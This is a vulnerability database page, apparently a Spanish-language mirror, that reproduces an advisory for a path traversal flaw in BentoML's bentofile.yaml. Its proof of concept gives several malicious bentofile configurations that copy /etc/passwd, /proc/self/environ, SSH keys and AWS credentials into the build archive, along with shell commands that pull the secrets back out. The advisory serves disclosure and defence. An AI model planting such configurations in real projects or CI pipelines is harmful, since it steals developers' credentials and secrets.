Alta

BentoML has a Path Traversal via Bentofile Configuration

  • Publicada: 26.01.2026
  • Actualizado: 11.10.2026 13:19

Summary

BentoML's bentofile.yaml configuration allows path traversal attacks through multiple file path fields (description, docker.setup_script, docker.dockerfile_template, conda.environment_yml). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed.

Details

The vulnerability exists in how BentoML resolves user-provided file paths without validating that they remain within the build context directory.

Vulnerable function in src/bentoml/_internal/utils/filesystem.py:114-131:

python
def resolve_user_filepath(filepath: str, ctx: t.Optional[str]) -> str:
    _path = os.path.expanduser(os.path.expandvars(filepath))
    if not os.path.isabs(_path) and ctx:
        _path = os.path.expanduser(os.path.join(ctx, filepath))
    if os.path.exists(_path):
        return os.path.realpath(_path)  # No path containment check
    raise FileNotFoundError(f"file {filepath} not found")

Vulnerable code in src/bentoml/_internal/bento/bento.py:348-355:

python
if build_config.description.startswith("file:"):
    file_name = build_config.description[5:].strip()
    if not ctx_path.joinpath(file_name).exists():
        raise InvalidArgument(f"File {file_name} does not exist.")
    shutil.copy(ctx_path.joinpath(file_name), bento_readme)  # Path traversal

All four vulnerable fields:

  • description: "file:../../../etc/passwd" → copied to README.md
  • docker.setup_script: "../../../etc/passwd" → copied to env/docker/setup_script
  • docker.dockerfile_template: "../../../secret" → copied to env/docker/Dockerfile.template
  • conda.environment_yml: "../../../etc/hosts" → copied to env/conda/environment.yml

Multiple path formats are supported, making exploitation trivial:

Format description setup_script dockerfile_template environment_yml
Absolute paths (/etc/passwd) Yes Yes Yes Yes
Tilde expansion (~/.ssh/id_rsa) No Yes Yes Yes
Env vars ($HOME/.aws/credentials) No Yes Yes Yes
Relative traversal (../../../etc/passwd) Yes Yes Yes Yes
Proc filesystem (/proc/self/environ) Yes Yes Yes Yes

The description field uses pathlib.Path.joinpath() directly, while other fields use resolve_user_filepath() which calls os.path.expanduser() and os.path.expandvars().

The /proc/self/environ vector is particularly dangerous in CI/CD pipelines where secrets are commonly passed as environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_PASSWORD, etc.).

PoC

  1. Create a minimal service:
python
# service.py
import bentoml

@bentoml.service
class TestService:
    @bentoml.api
    def predict(self, text: str) -> str:
        return text
  1. Create malicious bentofile.yaml. Multiple attack vectors are available:

Vector 1: Exfiltrate /etc/passwd via description field

yaml
service: "service.py:TestService"
description: "file:/etc/passwd"

Vector 2: Exfiltrate all environment variables (CI/CD secrets)

yaml
service: "service.py:TestService"
description: "file:/proc/self/environ"

Vector 3: Exfiltrate files using environment variable expansion (docker fields only)

yaml
service: "service.py:TestService"
docker:
  dockerfile_template: "$HOME/.aws/credentials"

Vector 4: Exfiltrate files using tilde expansion (docker fields only)

yaml
service: "service.py:TestService"
docker:
  dockerfile_template: "~/.ssh/id_rsa"

Note: The description field does not support ~ or $VAR expansion. Use absolute paths or relative traversal for description. The docker.* and conda.* fields support all path formats.

  1. Run build:
bash
$ bentoml build
Successfully built Bento(tag="test_service:abc123").
  1. Verify exfiltration:
bash
# For description field - check README.md
$ cat ~/bentoml/bentos/test_service/abc123/README.md
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

# For /proc/self/environ - extract CI/CD secrets
$ cat ~/bentoml/bentos/test_service/abc123/README.md | tr '\0' '\n' | grep -E "KEY|TOKEN|SECRET"
AWS_SECRET_ACCESS_KEY=AKIA...
GITHUB_TOKEN=ghp_...

# For dockerfile_template - check Dockerfile.template
$ cat ~/bentoml/bentos/test_service/abc123/env/docker/Dockerfile.template
[default]
aws_access_key_id = AKIA...
aws_secret_access_key = ...

The exfiltrated contents are embedded in the bento archive and will be included in any push, export, or containerization of the bento.

Impact

Who is impacted: Any user who runs bentoml build on an untrusted bentofile.yaml (e.g., cloned from a malicious repository).

Attack scenarios:

  • Supply chain attack: Malicious contributor adds path traversal to a public ML project; anyone who clones and pushes their built model has their files exfiltrated
  • CI/CD environment variable theft: Using file:/proc/self/environ, an attacker can exfiltrate ALL environment variables from the build process. CI/CD pipelines commonly inject secrets this way (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, DATABASE_URL, etc.), making this a single-payload method to steal all pipeline secrets.
  • BentoCloud exfiltration: When victims push compromised bentos to BentoCloud (bentoml push), exfiltrated files are uploaded to the cloud platform. Any user with access to the BentoCloud organization (team members, contractors, or attackers with compromised accounts) can download the bento and extract stolen credentials. This turns BentoCloud into an unwitting exfiltration channel.
  • Data theft: Proprietary source code, configuration files, or database credentials embedded in bentos pushed to shared registries or BentoCloud deployments

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) bentoml < 1.4.34 1.4.34

Referencias

Puntuación CVSS 7.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
Debilidad (CWE)
CWE-22
Plataforma
Python (PyPI)
Paquete
bentoml
Publicada
26.01.2026
Actualizado
11.10.2026 13:19

Fuentes y licencias

OSV / GitHub Advisory Database - PYSEC-2026-1218 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-6r62-w2q3-48hf - CC BY 4.0

Historial de vulnerabilidades: bentoml

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (17) en el archivo
Entradas en total
17
Primera → última
04.2024 07.2026
Sin corrección
5
Explotada en ataques
0

Distribución por gravedad

  • Crítica 5
  • Alta 10
  • Media 2

Divulgaciones por año

  1. 2024: 1
  2. 2025: 7
  3. 2026: 9
Gravedad:
  1. Alta · 8.8 CVE-2026-35044 < 1.4.38 1.4.38
  2. Alta · 7.8 CVE-2026-35043 < 1.4.38 1.4.38
  3. BentoML has a Path Traversal via Bentofile Configuration esta entrada
    Alta · 7.4 CVE-2026-24123 < 1.4.34 1.4.34
  4. Crítica · 9.9 CVE-2025-54381 >= 1.4.0, < 1.4.19 1.4.19
  5. Crítica · 9.8 CVE-2025-27520 >= 1.3.4, < 1.4.3 1.4.3
  6. Alta · 7.5 CVE-2024-9056 <= 1.4.5 sin corrección
  7. Crítica · 9.8 CVE-2024-9070 <= 1.4.5 sin corrección
  8. Alta · 7.5 ghsa-hh3j-9m59-p8vc <= 1.3.9 sin corrección
  9. Crítica · 9.8 CVE-2024-2912 < 1.2.5 1.2.5

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.